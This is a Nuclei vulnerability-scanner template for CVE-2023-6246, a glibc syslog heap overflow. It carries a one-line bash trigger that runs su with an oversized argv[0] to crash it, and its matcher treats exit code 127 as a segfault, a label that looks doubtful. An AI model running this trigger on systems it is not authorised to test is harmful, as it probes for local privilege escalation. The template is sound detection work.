nuclei-templates/code/cves/2023/CVE-2023-6246.yaml

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id: CVE-2023-6246
info:
name: glibc's syslog - Local Privilege Escalation
author: gy741
severity: high
description: |
A heap-based buffer overflow was found in the __vsyslog_internal function of the glibc library. This function is called by the syslog and vsyslog functions. This issue occurs when the openlog function was not called, or called with the ident argument set to NULL, and the program name (the basename of argv[0]) is bigger than 1024 bytes, resulting in an application crash or local privilege escalation. This issue affects glibc 2.36 and newer.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-6246
- https://www.qualys.com/2024/01/30/cve-2023-6246/syslog.txt
- https://access.redhat.com/security/cve/CVE-2023-6246
- https://bugzilla.redhat.com/show_bug.cgi?id=2249053
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/D2FIH77VHY3KCRROCXOT6L27WMZXSJ2G/
classification:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.8
cve-id: CVE-2023-6246
cwe-id: CWE-787,CWE-122
epss-score: 0.0077
epss-percentile: 0.80859
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: gnu
product: glibc
tags: cve,cve2023,code,glibc,linux,privesc,local
self-contained: true
code:
- engine:
- sh
- bash
source: |
(exec -a "`printf '%0128000x' 1`" /usr/bin/su < /dev/null)
echo $?
matchers:
- type: word
words:
- "127" # Segmentation Fault Exit Code
# digest: 490a0046304402204e884ed16aed759a6b31c001e50ee4aed4db45f060d3335e1b6f28935eae4135022051929119a0bf2eac944500d98af2720a6ff835dcb875f35cc6390fbdf47c8bda:922c64590222798bb761d5b6d8e72950